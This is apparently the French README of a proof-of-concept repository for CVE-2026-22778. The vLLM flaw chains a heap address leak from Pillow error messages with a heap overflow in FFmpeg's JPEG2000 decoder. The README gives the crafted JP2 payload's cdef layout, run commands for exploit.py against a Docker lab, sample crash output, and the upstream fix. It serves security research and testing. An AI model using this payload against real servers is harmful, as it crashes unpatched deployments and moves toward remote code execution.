Preuve de concept d'exploitation pour CVE-2026-22778, une RCE non authentifiée dans le traitement vidéo de vLLM, démontrant la divulgation d'adresses du tas et un débordement de tampon du tas dans le décodeur JPEG2000 de FFmpeg. Inclut un laboratoire vulnérable pour des tests autorisés.
Laboratoire vulnérable + preuve de concept pour CVE-2026-22778 (CVSS 9.8), une chaîne d'exécution de code à distance non authentifiée dans le chemin d'ingestion multimodale de vLLM.
| CVE | CVE-2026-22778 |
| Avis de sécurité | GHSA-4r2x-xpjr-7cvv |
| Versions concernées | vLLM >= 0.8.3, < 0.14.1 (déploiements servant des modèles vidéo) |
| Corrigé dans | vLLM 0.14.1 |
| CVSS | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Bogue sous-jacent | CVE-2025-9951 — débordement de tas dans le décodeur JPEG2000 de FFmpeg |
Deux failles distinctes enchaînées. Un vllm serve par défaut n'a aucune
authentification, donc les deux sont accessibles sans authentification sur /v1/chat/completions et
/v1/invocations.
Lorsqu'une image ne parvient pas à être analysée, Pillow lève une exception dont le message
intègre le repr() de l'objet BytesIO qu'il lisait :
cannot identify image file <_io.BytesIO object at 0x7f4a9c2e1d50>
vLLM transformait les échecs de chargement de médias en HTTP 400 et renvoyait
exc.detail au client sans modification
(api_server.py) :
async def http_exception_handler(_: Request, exc: HTTPException):
err = ErrorResponse(
error=ErrorInfo(
message=exc.detail, # <-- divulgue l'adresse telle quelle
...
Cette seule adresse réduit l'ASLR du tas d'environ 32 bits d'entropie à environ 3, ce qui rend l'étape 2 exploitable plutôt qu'un simple crash.
Une video_url est récupérée par le serveur et transmise à OpenCV :
MediaConnector.load_from_url() vllm/multimodal/utils.py
-> OpenCVVideoBackend.load_bytes() vllm/multimodal/video.py
-> cv2.VideoCapture(BytesIO(data), backend, [])
-> FFmpeg 5.1.x (fourni avec opencv-python-headless < 4.13)
vLLM a épinglé opencv-python-headless >= 4.11.0, qui fournit FFmpeg 5.1.x. Son
décodeur JPEG2000 choisit le plan de destination directement dans la boîte de
définition de canaux (cdef) du fichier — libavcodec/jpeg2000dec.c, write_frame_8 :
if (planar)
plane = s->cdef[compno] ? s->cdef[compno]-1 : (s->ncomponents-1);
...
int w = tile->comp[compno].coord[0][1] - ...; /* depuis le composant */
int h = tile->comp[compno].coord[1][1] - ...; /* pas depuis le plan ! */
plane est contrôlé par l'attaquant mais w/h proviennent du composant en cours de
décodage, et rien ne vérifie que l'un tient dans l'autre. Une entrée cdef de
cn=0, asoc=2 envoie le composant 0 — le plan de luminance pleine résolution — dans
le plan 1, le plan de chrominance sous-échantillonné 2×2.
Pour l'image 150×64 utilisée par cette PoC :
| taille | |
|---|---|
| Composant Y (écrit) | 150 × 64 = 9 600 octets |
| Plan U (destination) | 75 × 32 = 2 400 octets |
| Débordement | 7 200 octets au-delà de l'allocation |
FFmpeg alloue chaque plan comme son propre AVBuffer, donc le débordement traverse
les blocs de tas adjacents — y compris les structures AVBuffer contenant un pointeur
de fonction free. Combiné à la fuite de l'étape 1, l'écrasement de ce
pointeur est ce qui transforme la corruption en exécution de code.
Cette PoC s'arrête à la corruption mémoire. Elle prouve l'écriture hors limites en tuant le processus serveur. Le grooming du tas et l'écrasement du pointeur de fonction ne sont délibérément pas implémentés.
lab/app.py est une réimplémentation minimale du chemin d'ingestion multimodale de
vLLM 0.13.0 — MediaConnector, ImageMediaIO, OpenCVVideoBackend et le
gestionnaire d'erreurs pré-correctif, chacun annoté avec le fichier amont qu'il reflète. Le
runtime du modèle est simulé : la vulnérabilité réside entièrement dans l'ingestion
de médias, qui s'exécute avant l'inférence et ne nécessite ni GPU ni poids de modèle.
Tout sur le chemin d'attaque est réel — le même appel Pillow qui
divulgue l'adresse, et le même appel cv2.VideoCapture vers un
opencv-python-headless==4.11.0.86 non corrigé (FFmpeg 5.1.x, libavcodec 59.37.100).
docker compose up -d --build
python3 exploit.py
Options :
python3 exploit.py --target http://localhost:8000
python3 exploit.py --serve # livrer la charge utile via HTTP
python3 exploit.py --write-payload evil.jp2 # écrire simplement le fichier malveillant
L'exploit n'utilise que la bibliothèque standard — aucune dépendance.
[*] Étape 1 -- Divulgation d'adresse du tas via le message d'erreur PIL
HTTP 400
cannot identify image file <_io.BytesIO object at 0xffff8f555300>
[+] Adresse du tas divulguée : 0xffff8f555300
ASLR contourné : la base du tas est maintenant connue à ~3 bits d'entropie.
[*] Étape 2 -- Débordement de tas dans le décodeur JPEG2000
Cible vivante : boot_id=95b62f18-13c0-4d6d-97d3-1b029207dc01 pid=1
Charge utile : 203 octets, JP2 150x64 yuv420p
cdef mappe le composant 0 -> plan 1 : écrit 9600 octets dans un plan de 2400 octets (débordement de 7200 octets)
Requête jamais terminée : le serveur distant a fermé la connexion sans réponse
Sondage de /health pour voir ce qui est arrivé au worker...
[+] Le worker a été tué et redémarré : boot_id 95b62f18-... -> 4494d28c-...
[+] Écriture hors limites confirmée.
Et côté serveur :
$ docker compose logs vllm
cve-2026-22778-lab | INFO: POST /v1/chat/completions HTTP/1.1" 400 Bad Request
cve-2026-22778-lab | corrupted size vs. prev_size
cve-2026-22778-lab | INFO: Started server process [1]
Nettoyage :
docker compose down
203 octets, construite de zéro dans build_payload(). Un conteneur JP2 contenant un
flux de code JPEG2000 minimal qui déclare trois composants en sous-échantillonnage 4:2:0
(afin que FFmpeg alloue une image yuv420p), plus une boîte cdef qui
les remappe :
cn=0, typ=0, asoc=2 <-- composant 0 (pleine résolution) dans le plan 1 (sous-échantillonné)
cn=1, typ=0, asoc=2
cn=2, typ=0, asoc=3
Les données de coefficients sont vides. Le décodeur alloue quand même l'image depuis l'en-tête
SIZ et exécute quand même la boucle d'écriture, donc aucune donnée d'image réelle n'est nécessaire.
vLLM 0.14.1, via trois PR :
FFmpeg en amont rejette désormais une carte cdef qui n'est pas une permutation des
canaux, et dérive le format de pixel des indices remappés :
int cdef_used = 0;
for (i = 0; i < s->ncomponents; i++)
cdef_used |= 1<<s->cdef[i];
if (cdef_used != ((int[]){0,2,3,14,15})[s->ncomponents])
return AVERROR_INVALIDDATA;
En remplaçant l'épinglage du laboratoire par opencv-python-headless>=4.13.0, la même
charge utile échoue inoffensivement avec error during processing marker segment ff51.
Si vous ne pouvez pas mettre à niveau : ne servez pas de modèles vidéo, placez une authentification devant
l'API, et restreignez la récupération de médias avec --allowed-media-domains.
docker compose compiler pour l'architecture arm64
native (par défaut). Forcer --platform linux/amd64 exécute le
conteneur sous émulation, où le processus qui avorte reste bloqué au lieu de
se terminer et le crash est plus difficile à observer.À des fins éducatives et de tests de sécurité autorisés uniquement. Exécutez-le contre le laboratoire de ce dépôt ou des systèmes pour lesquels vous avez une autorisation explicite de tester.